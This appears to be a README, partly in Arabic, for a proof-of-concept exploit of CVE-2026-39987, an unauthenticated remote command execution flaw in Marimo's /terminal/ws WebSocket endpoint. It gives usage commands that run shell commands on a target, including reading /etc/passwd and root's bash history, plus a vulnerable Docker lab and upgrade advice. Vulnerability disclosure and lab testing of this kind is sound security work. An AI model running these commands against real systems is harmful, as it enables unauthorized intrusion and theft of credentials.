0xdeadroot/cve-2026-39987-marimo-rceCVE-2026-39987
Unauthenticated Remote Code Execution in Marimo via WebSocket Terminal
CVE-2026-39987 هي ثغرة حرجة لتنفيذ الأوامر عن بعد قبل المصادقة تؤثر على إصدارات Marimo الأقدم من 0.23.0. نقطة النهاية WebSocket /terminal/ws تتجاوز المصادقة بشكل كامل، مما يسمح لأي مهاجم غير مصادق بالحصول على شل PTY تفاعلي كامل بصلاحيات عملية Marimo (عادةً root في بيئات Docker).
marimo < 0.23.0marimo >= 0.23.0/terminal/wshttp:// إلى ws:// ومن https:// إلى wss://CVE-2026-39987/
├── CVE-2026-39987-poc.py ← Main Exploit
├── docker-vulnerable/
│ ├── Dockerfile
│ └── docker-compose.yml
├── notebooks/ ← Persistent notebooks (optional)
├── README.md
└── LICENSE
pip install websocket-client
# Basic usage
python3 CVE-2026-39987-poc.py http://localhost:2718 "id && whoami && hostname"
# System enumeration
python3 CVE-2026-39987-poc.py http://localhost:2718 "id && whoami && cat /etc/os-release && ls -la /app"
# Read sensitive files
python3 CVE-2026-39987-poc.py http://target:2718 "cat /etc/passwd && cat /root/.bash_history"
cd docker-vulnerable
docker compose up --build -d
ثم اختبر:
python3 CVE-2026-39987-poc.py http://localhost:2718 "id && whoami"
marimo >= 0.23.0/terminal/ws عبر جدار ناري أو قواعد الوكيلهذا الإثبات المفاهيمي مخصص للأغراض التعليمية واختبار الأمان المصرح به فقط. المؤلف غير مسؤول عن أي إساءة استخدام أو ضرر ناتج عن هذه الأداة. تأكد من حصولك على إذن صريح قبل اختبار أي نظام.
استخدمها بشكل أخلاقي ومسؤول.
مصنوع لأبحاث الأمان والإفصاح المسؤول.